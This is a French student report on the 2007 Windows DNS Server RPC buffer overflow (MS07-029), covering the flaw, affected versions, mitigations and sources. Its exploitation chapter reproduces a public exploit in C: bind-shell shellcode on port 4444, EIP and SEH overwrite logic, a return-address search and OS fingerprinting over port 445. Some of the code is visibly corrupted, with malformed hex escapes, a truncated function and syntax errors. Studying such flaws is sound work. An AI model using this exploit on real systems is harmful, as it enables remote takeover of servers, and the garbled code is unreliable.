

Mémoire  
DNS Server RPC Interface buffer overflow

Céline COLLUMEAU Nicolas BODIN

3 janvier 2009

# Table des matières

<b>1</b>	<b>Introduction</b>	<b>2</b>
<b>2</b>	<b>Présentation de la faille</b>	<b>3</b>
<b>3</b>	<b>Exemple d'exploitation</b>	<b>5</b>
<b>4</b>	<b>Solutions</b>	<b>10</b>
<b>5</b>	<b>Conclusion</b>	<b>11</b>
<b>6</b>	<b>Bibliographie</b>	<b>12</b>

# Chapitre 1

## Introduction

Ce mémoire présente la faille apparue sur les serveurs DNS en avril 2007 au niveau de la programmation de leur interface RPC.

Un serveur DNS (Domain Name Serveur) est un serveur de résolution de nom. Il permet de faire les associations entre noms de domaine et adresses ip.

RPC (Remote Procedure Call) est un protocole qu'un programme peut utiliser pour demander un service à un autre programme situé sur une autre machine du réseau. Il permet de gérer les différents messages entre un client et un serveur.

Nous allons donc étudier dans une première partie la faille en elle-même, puis nous verrons un exemple d'attaque qu'il est possible de réaliser et enfin nous parlerons des solutions qui ont été proposées.

## Chapitre 2

# Présentation de la faille

Des attaquants ont découvert que l'implémentation de la gestion des requêtes d'appel à distance RPC des serveurs DNS permettaient de faire une attaque du type buffer overflow sur ces serveurs. Elle permet la saturation de la mémoire tampon dans l'interface de gestion des RPC. En effet, l'envoi d'une requête spéciale à l'un de ces serveurs permet d'exécuter du code arbitraire avec les priviléges du compte local système.

La gestion de l'interface RPC se fait habituellement via un port tcp compris entre le port 1024 et le port 5000 alloué dynamiquement. Elle peut cependant aussi être exploitée via les ports tcp/udp 139 ou 445. Dans ces deux derniers cas il faut être authentifié pour y accéder.

L'erreur de programmation se situe plus précisément dans la fonction `Lookup_ZoneTreeNodeFromDottedName()`. Elle utilise un buffer local fixé qui permet de convertir une chaîne pouvant contenir des anti-slash en utilisant la fonction `Name_ConvertFileNameToCountName()`. Il est ainsi possible de dépasser le buffer en utilisant une suite de caractères constituée de plusieurs anti-slash.

Ce type d'attaque permet donc de prendre le contrôle à distance de l'un de ses serveurs DNS, d'y installer des programmes, de regarder, changer des données, c'est à dire de pouvoir tout faire !

La faille des serveurs DNS a été publiée officiellement dans l'avis de sécurité 935964 le 12 Avril 2007, la correction de la faille a été quant à elle donnée dans le bulletin de sécurité MS07-029 le 8 Mai 2007. Elle concerne les serveurs suivants :

- Microsoft Windows Server 2003 x64 SP2
- Microsoft Windows Server 2003 x64 SP1
- Microsoft Windows Server 2003 Itanium SP2

- Microsoft Windows Server 2003 Itanium SP1
- Microsoft Windows Server 2003 Enterprise x64 Edition SP2
- Microsoft Windows Server 2003 Datacenter x64 Edition SP2
- Microsoft Windows 2000 Server SP4
- Microsoft Small Business Server 2003 Premium Edition
- Microsoft Small Business Server 2003
- Microsoft Small Business Server 2000 0
- 3DM Software Disk Management Software SP2
- 3DM Software Disk Management Software SP1

Les serveurs Windows XP, Windows Vista et Windows Professional SP4 ne sont quant à eux pas vulnérables à cette faille car il ne contiennent pas le code vulnérable.

# Chapitre 3

## Exemple d'exploitation

Nous allons maintenant présenter un exemple d'attaque qui peut être réalisée sur cette faille.

L'exploit présenté ci-dessous a été testé sur les serveurs Windows 2000 SP4 et Windows 2003 SP2.

La première étape est de détecter le système d'exploitation du serveur cible, si ce n'est pas l'un des deux ci-dessus l'attaque ne peut être réalisée.

On crée alors une connexion RPC, si on y arrive, on peut alors initialiser les cinq paramètres de la fonction DnssrvQuery qui permet de faire une requête auprès du serveur DNS. Le second paramètre contient un buffer que l'on rempli de caractères '\' alternés avec des 'a'.

On utilise ensuite la technique du buffer overflow qui consiste à ajouter d'autres termes à la suite du buffer pour écraser l'eip, et y mettre l'adresse du shellcode souhaité ainsi qu'à ajouter à la suite le shellcode.

On envoie ensuite le paquet contenant le buffer au serveur et on vérifie que le paquet a bien été reçu sans problèmes.

Voici donc le shellcode et le main de cet exploit.

```
#include <stdio.h>
#include <stdlib.h>
#include <ctype.h>
#include "dnsxpl.h"
#include <winsock.h>
#pragma comment(lib,"ws2_32")

void __RPC_FAR * __RPC_USER midl_user_allocate(size_t len){ return(malloc(len)); }
void __RPC_USER midl_user_free(void __RPC_FAR * ptr){ free(ptr); }
int fingerprint (char *host);
BYTE * find_jmp (BYTE *lpAddress, DWORD dwSize);

unsigned char buf[] = /* Bindshell 4444 */
"\x29\xc9\x83\xe9\xb0\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\x18"
"\xc0\x9e\xb3\x83\xeb\xfc\xe2\xf4\xe4\xaa\x75\xfe\xf0\x39\x61\x4c"
"\xe7\xa0\x15\xdf\x3c\xe4\x15\xf6\x24\x4b\xe2\xb6\x60\xc1\x71\x38"
"\x57\xd8\x15\xec\x38\xc1\x75\xfa\x93\xf4\x15\xb2\xf6\xf1\x5e\x2a"
"\xb4\x44\x5c\xc7\x1f\x01\x54\xb1\x19\x02\x75\x47\x23\x94\xba\x9b"
"\xd\x25\x15\xec\x3c\xc1\x75\xd5\x93\xcc\xd5\x38\x47\xdc\x9f\x58"
"\xb1\xec\x15\x3a\x74\xe4\x82\xd2\xbf\xf1\x45\xd7\x93\x83\xae\x38"
"\x58\xcc\x15\xc3\x04\x6d\x15\xf3\x10\x9e\xf6\x3d\x56\xce\x72\xe3"
"\xe7\x16\xf8\xe0\x7\x8\xad\x81\x70\xb7\xed\x81\x47\x94\x61\x63"
"\x70\x0b\x73\x4f\x23\x90\x61\x65\x47\x49\x7b\xd5\x99\x2d\x96\xb1"
"\x4d\xaa\x9c\x4c\xc8\x8\x47\xba\xed\x6d\xc9\x4c\xce\x93\xcd\xe0"
```

```

"\x4b\x93\xdd\xe0\x5b\x93\x61\x63\x7e\xa8\x8f\xef\x7e\x93\x17\x52"
"\x8d\xaa\x3a\xa9\x68\x07\xc9\x4c\xce\xaa\x8e\xe2\x4d\x3f\x4e\xdb"
"\xcb\x6d\xb0\x5a\x4f\x3f\x48\xe0\x4d\x3f\x4e\xdb\xfd\x89\x18\xfa"
"\x4f\x3f\x48\xe3\x4c\x94\xcb\x4c\xc8\x53\xf6\x54\x61\x06\xe7\xe4"
"\xe7\x16\xcb\x4c\xc8\xaa\xf4\xd7\x7e\xaa\xfd\xde\x91\x25\xf4\xe3"
"\x41\xe9\x52\x3a\xff\xaa\xda\x3a\xfa\xf1\x5e\x40\xb2\x3e\xdc\x9e"
"\xe6\x82\xb2\x20\x95\xba\xae\x18\xb3\x6b\xf6\xc1\xe6\x73\x88\x4c"
"\x6d\x84\x61\x65\x43\x97\xcc\xe2\x49\x91\xf4\xb2\x49\x91\xcb\xe2"
"\xe7\x10\xf6\x1e\xc1\xc5\x50\xe0\xe7\x16\xf4\x4c\xe7\xf7\x61\x63"
"\x93\x97\x62\x30\xdc\x4\x61\x65\x4a\x3f\x4e\xdb\xe8\x4a\x9a\xec"
"\x4b\x3f\x48\x4c\xc8\xc0\x9e\xb3";
int local=1;

void __cdecl main(int argc, char *argv[])
{
    RPC_STATUS status;
    unsigned char * pszUuid = "50abc2a4-574d-40b3-9d66-ee4fd5fba076";
    unsigned char * pszProtocolSequence = "ncacn_np";
    unsigned char * pszNetworkAddress = NULL;
    unsigned char * pszEndpoint = "\\\pipe\\dnsserver";
    unsigned char * pszOptions = NULL;
    unsigned char * pszStringBinding = NULL;
    unsigned long ulCode;
    int os;

    printf(" -----\n");
    printf(" Microsoft Dns Server local & remote RPC Exploit code (port 445)\n");
    printf(" Exploit code by Andres Tarasco & Mario Ballano\n");
    printf(" Tested against Windows 2000 server SP4 and Windows 2003 SP2 (Spanish)\n");
    printf(" ----- \n\n");

    if (argc!=2) {
        printf(" [-] Usage: %s <ip>\n", argv[0]);
        exit(1);
    }

    pszNetworkAddress=argv[1];
    if (strcmp(argv[1],"127.0.0.1")!=0) {
        local=0;
    }

    //Test if the remote server is supported (2k & 2k3)
    os=fingerprint(pszNetworkAddress);

    if (os== -1) {
        printf("[-] Unable to fingerprint remote Host\n");
        exit(-1);
    } else {
        switch (os) {
        case 0: printf("[+] Remote Host identified as Windows 2000\n"); break;
        case 1: printf("[-] Remote Host identified as Windows XP\n"); exit(1); break;
        case 2: printf("[+] Remote Host identified as Windows 2003\n"); break;
        default: printf("[-] Unknown Remote Host OS\n");exit(1); break;
    }
}

//Create an RPC connection
status = RpcStringBindingCompose(pszUuid,pszProtocolSequence,pszNetworkAddress,pszEndpoint,
                                pszOptions,&pszStringBinding);
printf("[+] Connecting to %s\n", pszStringBinding);

if (status==RPC_S_OK) {
    status = RpcBindingFromStringBinding(pszStringBinding,&dns);
    printf("[+] RpcBindingFromStringBinding returned 0x%x\n", status);
    if (status==RPC_S_OK) {
        wchar_t *parama=L"PARAMAA"; //Rpc call parameter1
        unsigned char *paramb=NULL; //Rpc call parameter2 that triggers overflow
        unsigned char *paramc="PARAMC"; //Rpc call parameter3
        long *paramd = malloc(50); //Rpc call parameter4
        long *parame=malloc(50); //rpc call parameter5
        int i,j;
        long ret;

        if (os==0) { //Windows 2000 Server exploit
            #define BUFSIZE (0x3A2 + 8 + 24 + sizeof(buf)*2)

            paramb=malloc(BUFSIZE +1); //Alloc needed space
            memset(paramb,'\\',BUFSIZE); //Fill the whole buffer with \
            for(i=0;i<=0x3A2;i+=2) { //0x3A2 chars needed to trigger the overflow
                paramb[i+1]='a';
            }
        }
    }
}

```

```

paramb[0x3a2+1]=0xF8; //overwrite EIP with return address 0x79467EF8 (kernel32.dll call esp)
paramb[0x3a2+3]=0x7e; //Change it to match your system
paramb[0x3a2+5]=0x46; //Just execute findjmp2 kernel32.dll esp
paramb[0x3a2+7]=0x79; //and have fun :-)

//Pad with 3 DWORDS (our shellcode is at ESP, 12 bytes above)
memcpy(&paramb[0x3a2+8], "\\\\a\\\\a\\\\a\\\\b\\\\b\\\\b\\\\c\\\\c\\\\c\\\\c", 24);

i=0x3a2+8+24; //set the possition for our shellcode
for(j=0;j<sizeof(buf);j++) {
    paramb[i+1]=buf[j]; //add the shellcode to the buffer
    i+=2;
}
paramb[BUFSIZE]='\0';

} else { //Windows 2003 server exploit. Overwrite SEH handler
#define BUFSIZE 10000
#define Base2Search (BYTE *) (0x7ffb0000) // AnsiCodePageData
#define SEH_HANDLER_DELTA 0x661
DWORD jmpoffset=0x7FFC07A4; //This AnsiCodePageData offset works for me on a VMWare

paramb=malloc(BUFSIZE +1);
memset (paramb,'\\',BUFSIZE);
for( i=0 ; i< BUFSIZE; i+=2 ) {
    paramb[i+1]='a';
}

//Adding jmp $ + 6
paramb[SEH_HANDLER_DELTA*2-7] =0x90;
paramb[SEH_HANDLER_DELTA*2-5] =0x90;
paramb[SEH_HANDLER_DELTA*2-3] =0xEB;
paramb[SEH_HANDLER_DELTA*2-1] =0x04;

//add ret for SEH
if ((Local)) {
    DWORD Off2popAndRet = (DWORD) find_jmp(Base2Search,0x100000); //search AnsiCodePageData for valid rets
    if(Off2popAndRet) {
        printf("[+] Valid Offset found at 0x%!`n", Off2popAndRet);
        paramb[SEH_HANDLER_DELTA*2+1] =(unsigned char) Off2popAndRet & 0xFF;
        paramb[SEH_HANDLER_DELTA*2+3] =(unsigned char) (Off2popAndRet >>8 ) & 0xFF;
        paramb[SEH_HANDLER_DELTA*2+5] =(unsigned char) (Off2popAndRet >> 16 ) & 0xFF;
        paramb[SEH_HANDLER_DELTA*2+7] =(unsigned char) (Off2popAndRet >> 24 ) & 0xFF;
    } else {
        printf("[-] Unable to locate valid PopAndRet`n");
        exit(-1);
    }
} else { //jmpoffset (shouldnt work most times as its different for other systems)
    paramb[SEH_HANDLER_DELTA*2+1] =(unsigned char) jmpoffset & 0xFF;
    paramb[SEH_HANDLER_DELTA*2+3] =(unsigned char) (jmpoffset >>8 ) & 0xFF;
    paramb[SEH_HANDLER_DELTA*2+5] =(unsigned char) (jmpoffset >> 16 ) & 0xFF;
    paramb[SEH_HANDLER_DELTA*2+7] =(unsigned char) (jmpoffset >> 24 ) & 0xFF;
}

i=SEH_HANDLER_DELTA*2+8;
for(j=0;j<sizeof(buf)-1;j++) {
    paramb[i+1]=buf[j]; //add the Shellcode
    i+=2;
}
paramb[BUFSIZE]='\0';
}

printf("%s\n",paramb); //exit(1);

printf("[+] Calling remote procedure DnssrvOperation()`n";
printf("[+] Now try to connect to port 4444`n";
RpcTryExcept {
    ret=DnssrvQuery(parama,paramb,paramc,paramd,parame) ; //send the overflow call
    printf("[-] Return code: %i\r",ret);
}
RpcExcept(i) {
    ulCode = RpcExceptionCode(); //Show returned errors from remote DNS server
    printf("[+] RPC Server reported exception 0x%lx = %ld`n", ulCode, ulCode);
    switch (ulCode) {
    case 5:printf("[+] Access Denied, authenticate first with `net use \\\\%s pass /u:user`\n",argv[1]);break;
    case 1722:printf("[+] Looks like there is no remote dns server`n"); break;
    case 1726:printf("[+] Looks like remote RPC server crashed :/\n"); break; //TODO revisar error code
    default: break;
    }
}
RpcEndExcept
}
}

```

Nous allons maintenant nous intéresser aux deux fonctions utilisées par le main : `find_jmp` et `fingerprint`.

La fonction `find_jmp` cherche deux pop et un ret à la suite ou un appel à `DWORD ptr[esp+8]`.

```
BYTE * find_jmp (BYTE *lpAddress, DWORD dwSize)
{
    DWORD i;
    BYTE *p;
    BYTE *retval = NULL;

    printf("[+] Searching 0x%x bytes\n",dwSize);
    for (i=0;i<(dwSize-4);i++)
    {
        p = lpAddress + i;
        // Search for POP + POP + RET
        if ((p[0]>0x57) && (p[0]<0x5F) && (p[1]>0x57) && (p[1]<0x5F) && (p[2]>0xC1) && (p[2]<0xC4)) {
            retval = p;
            break;
        }
        // Search for CALL DWORD PTR [ESP+8]
        if ((p[0] == 0xFF) &&
            (p[1] == 0x54) &&
            (p[2] == 0x24) &&
            (p[3]==0x8) )
        {
            retval = p;
            break;
        }
    }
    return retval;
}
```

La fonction `fingerprint` permet de détecter le système d'exploitation utilisé, ce qui renvoie 0 pour Windows 2000, 1 pour Windows XP, 2 pour Windows 2003 et -1 en cas d'erreur.

```

        printf("[-] WsaStartup() failed\n");
        exit(1);
    }
    //NetWkstaGetInfo
    remote.sin_family = AF_INET;
    remote.sin_addr.s_addr = inet_addr(host);
    remote.sin_port = htons(445);
    sock=socket(AF_INET, SOCK_STREAM, 0);
    printf("[+] Trying to fingerprint target.. ");

    if (connect(sock,(struct sockaddr *)&remote, sizeof(remote))>=0) {
        if (send(sock, req1, sizeof(req1),0) >0) {
            if (recv(sock, buf, sizeof(buf), 0) > 0) {
                if (send(sock, req2, sizeof(req2),0) >0) {
                    i=recv(sock, buf, sizeof(buf), 0);
                    if (i>0) {
                        printf("%2.2x %2.2x\n",buf[0x60-1], buf[0x60]);
                        if (buf[0x60-1]==5) {
                            return(buf[0x60]);
                        } else {
                            printf("[-] Unssuported OS\n");
                        }
                    } else {
                        printf("[-] Recv2 failed\n");
                    }
                } else {
                    printf("[-] Send2 failed\n");
                }
            } else {
                printf("[-] Recv failed\n");
            }
        } else {
            printf("[-] Send failed\n");
        }
    } else {
        printf("\n[-] Connect failed\n");
    }
    return(-1);
}

```

Cet exploit écrit par Mario Ballano et Andres Tarasco s'attaque au port 445 particulièrement.

## Chapitre 4

# Solutions

Avant qu'une mise à jour ne soit proposée par Microsoft, il n'y avait que des moyens de réduire les risques. Voici quelques exemples qui ont été donnés pour réduire les possibilités d'exploiter cette faille.

Une première méthode est de désactiver la gestion à distance des RPC via la gestion des clés de registre. On peut le faire à la main en utilisant regedit ou en utilisant un script de déploiement. On utilise la clé de registre RpcProtocol qui mise à 4 réduit l'interface DNS RPC aux appels de procédure locaux. On peut aussi la mettre à 0, mais dans ce cas, tous les appels distants et locaux seront désactivés.

Une autre méthode consiste à bloquer les communications entrantes non sollicitées sur les ports tcp et udp 139 et 445 ainsi que tous les ports supérieurs à 1024 au niveau du pare-feu. Cette méthode empêche aussi la gestion à distance du serveur.

On peut aussi utiliser le filtrage TCP/IP avancé pour bloquer tout le traffic entrant non sollicité.

Le 8 Mai 2007, une mise à jour a été proposée par Microsoft. Elle modifie la façon dont RPC valide la longueur d'un message avant de le passer dans un tampon alloué.

# **Chapitre 5**

## **Conclusion**

Nous avons donc étudié la faille qui se trouvait sur les serveurs DNS. Elle permettait à un attaquant de faire un exploit du type buffer overflow sur le serveur pour en prendre le contrôle complet. Microsoft a proposé une mise à jour de leurs serveurs quelques temps après avoir annoncé officiellement qu'il y avait une faille. Depuis, des pirates ont déjà tenté d'autres attaques sur ces serveurs pour trouver d'autres failles. A quand la prochaine attaque concluante ?

## Chapitre 6

# Bibliographie

<http://www.kb.cert.org/vuls/id/555920>

<http://www.microsoft.com/technet/security/bulletin/ms07-029.mspx>

<http://blogs.technet.com/msrc/archive/2007/04/12/microsoft-security-advisory-935964-posted.aspx>

<http://www.microsoft.com/technet/security/advisory/935964.mspx>

<http://www.frsirt.com/english/advisories/2007/1366>

<http://www.securityfocus.com/bid/23470>

<http://www.securitytracker.com/id?1017910>

[http://www.514.es/Microsoft\\_Dns\\_Server\\_Exploit.zip](http://www.514.es/Microsoft_Dns_Server_Exploit.zip)